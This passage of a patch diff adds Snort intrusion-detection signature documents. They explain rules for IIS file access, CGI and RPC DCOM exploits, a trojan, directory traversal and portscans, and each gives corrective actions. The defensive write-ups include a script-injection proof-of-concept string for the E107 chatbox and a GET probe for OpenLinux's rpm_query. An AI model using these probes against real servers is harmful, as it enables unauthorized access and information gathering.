+host, garner information on users of the system or retrieve sensitive 
+customer information.
+
+Some applications may store sensitive information such as database 
+connections, user information, passwords and customer information in 
+files accessible via a web interface. Care should be taken to ensure 
+these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been 
+taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1663.txt
+++ snort-2.7.0/doc/signatures/1663.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1663
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+PacketStorm:
+http://packetstormsecurity.org/new-exploits/perliis.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/860.txt
+++ snort-2.7.0/doc/signatures/860.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+860
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1983.txt
+++ snort-2.7.0/doc/signatures/1983.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+1983
+
+--
+Summary:
+Deepthroat is a Trojan Horse offering the attacker control of the target.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Deepthroat sever to programs normally started on boot.
+
+See also rules with sids 195, 1980, 1981, 1982 and 1983.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan. Once compromised, this Trojan grants the attacker the ability to almost completely control the target.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Systemtray
+
+Removal of the files pddt.dat and systray.exe from the Windows system directory is required.
+
+Ending the process systray.exe is also necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS106
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/deepthroat.trojan.html
+
+--
--- snort-2.7.0.orig/doc/signatures/296.txt
+++ snort-2.7.0/doc/signatures/296.txt
@@ -0,0 +1,61 @@
+SID:
+296
+--
+
+Rule:
+--
+
+Summary:
+This event is triggered when an attempt is made to overflow an imapd 
+server.
+--
+
+Impact:
+Commands may be run on the IMAP server as the root user, This can lead 
+to a complete compromise of the targeted system
+--
+
+Detailed Information:
+Failure to check the size of the value passed to the 'AUTHENTICATE' 
+command on certain IMAPD implementations can lead to a buffer overflow. 
+This in turn can allow arbitrary commands to be executed on the server.
+--
+
+Affected Systems:
+	Netscape Messaging Server 3.55, 
+	University of Washington imapd 10.234
+--
+
+Attack Scenarios:
+An attacker may attempt to exploit a vulnerable imapd server, permitting
+the execution of arbitrary commands possibly with the privilege of user 
+"root".
+--
+
+Ease of Attack:
+Simple. Sample exploit code is available.
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Vendors have provided updated versions, upgrading will resolve this 
+problem
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2305.txt
+++ snort-2.7.0/doc/signatures/2305.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2305
+
+--
+Summary:
+This event is generated when an attempt is made to access the script
+chatbox.php on a web server running a PHP application.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access the script
+chatbox.php on a web server. This application does not perform stringent 
+checks when validating data supplied by the user in the Name field of
+the script. HTML or script code supplied via that field may cause a
+Denial of Service condition to occur.
+
+--
+Affected Systems:
+	All systems running E107 versions 0.545 and 0.603, other versions may
+	also be affected
+
+--
+Attack Scenarios:
+The attacker could supply some offending HTML code into the name field
+and cause the DoS.
+
+--
+Ease of Attack:
+Simple.
+
+Proof of concept exists, in the name field enter:
+
+<script type=javascript>alert('foo')</script>
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3118.txt
+++ snort-2.7.0/doc/signatures/3118.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3118
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1703.txt
+++ snort-2.7.0/doc/signatures/1703.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1703
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1167.txt
+++ snort-2.7.0/doc/signatures/1167.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+
+1167
+
+--
+Summary:
+
+This event is generated when an attempt is made to gain information on installed packages on OpenLINUX.
+
+--
+Impact:
+
+This is a serious information leak, since an attack could then attempt to determine and exploit any vulnerable packages.
+
+
+--
+Detailed Information:
+
+The OpenLinux CGI package comes with a script called rpm_query. A 
+vulnerability exists which will allow a remote user to list all
+packages/versions installed on the system. This information will be 
+useful for an attacker to further compromise a system.
+
+
+--
+Affected Systems:
+
+	OpenLinux Desktop 2.3        
+        OpenLinux eServer 2.3        
+
+--
+Attack Scenarios:
+
+GET http://target/cgi-bin/rpm_query HTTP/1.0
+
+--
+Ease of Attack:
+
+Simple.
+
+--
+False Positives:
+
+None known.
+
+--
+False Negatives:
+
+None known.
+
+--
+Corrective Action:
+
+Remove the package (/home/httpd/cgi-bin/rpm_query)   
+
+Upgrade to the latest version of OpenLinux (2.3-17 or later), 
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1036
+
+--
--- snort-2.7.0.orig/doc/signatures/852.txt
+++ snort-2.7.0/doc/signatures/852.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+852
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3385.txt
+++ snort-2.7.0/doc/signatures/3385.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3385
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1938.txt
+++ snort-2.7.0/doc/signatures/1938.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+1938
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow condition in the Post Office Protocol (POP) command XTND.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may overflow a buffer by 
+sending a large number of non-line feed characters before a line feed
+to a POP server via the XTND command.
+
+--
+Attack Scenarios:
+Simple. An attacker can supply many consecutive non-newline characters to
+the XTND function on a POP server to cause the overflow condition. 
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+RFC 1082:
+http://www.faqs.org/rfcs/rfc1082.html
+
+--
--- snort-2.7.0.orig/doc/signatures/119-4.txt
+++ snort-2.7.0/doc/signatures/119-4.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+119-4
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unknown. This may be an attempt to evade an IDS.
+
+--
+Detailed Information:
+Microsoft IIS servers are able to use non-ASCII characters as values
+when decoding UTF-8 values. This is non-standard behavior for a
+webserver and violates RFC recommendations. All non-ASCII values should
+be encoded with a %. This event may indicate an attack against a web
+server or at the least an attempt to evade an IDS.
+
+No web clients encode UTF-8 characters in this way. This is most likely
+a malicious request.
+
+--
+Affected Systems:
+	All Microsoft IIS servers
+
+--
+Attack Scenarios: 
+An attacker merely needs to encode a web request using this non-standard
+format.
+
+-- 
+
+Ease of Attack: 
+Simple. Many exploits exist.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.7.0.orig/doc/signatures/3302.txt
+++ snort-2.7.0/doc/signatures/3302.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3302
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000551.txt
+++ snort-2.7.0/doc/signatures/100000551.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+100000551
+--
+Summary:
+This event is generated when an attempt is made to access the file 
+"aolbonics.php which contains known vulnerabilities in the "Project Eros 
+BBSEngine" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a file with known 
+vulnerabilities from a remote machine used by the "Project Eros BBSEngine" 
+application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Project Eros BBSEngine
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3403.txt
+++ snort-2.7.0/doc/signatures/3403.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3403
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/122-14.txt
+++ snort-2.7.0/doc/signatures/122-14.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-14
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ip
+filtered decoy protocol scan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/3218.txt
+++ snort-2.7.0/doc/signatures/3218.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3218
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2481.txt
+++ snort-2.7.0/doc/signatures/2481.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2176
+
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a service via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a service
+on a system using SMB across the network.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may try to deny services to other users.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/948.txt
+++ snort-2.7.0/doc/signatures/948.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+948
+
+--
+
+Summary:
+This event is generated when an attempt is made to access a file with 
+Microsoft Frontpage form results.
+
+--
+
+Impact:
+If successful, the attacker can read sensitive data users have posted 
+via forms within the Frontpage web.
+
+--
+
+Detailed Information:
+On systems running Microsoft Frontpage Extensions on IIS or Apache web 
+servers users can insert forms into web pages and have their data saved 
+into a text file (/_private/form_results.txt) which can later be read or
+emailed to the user. If direct access to the file is possible, the 
+attacker may read the sensitive data posted from the form.
+
+--
+
+Affected Systems:
+All systems running FPSE.
+
+--
+
+Attack Scenarios:
+An attacker can request the file from its standard location, entering 
+the exact URL.
+
+--
+
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Disable direct access to the file /_private/form_results.txt
+
+Restrict access to the file using password protection.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Chaos <c@aufbix.org>
+
+-- 
+
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000370.txt
+++ snort-2.7.0/doc/signatures/100000370.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000370
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_groups.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_groups.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
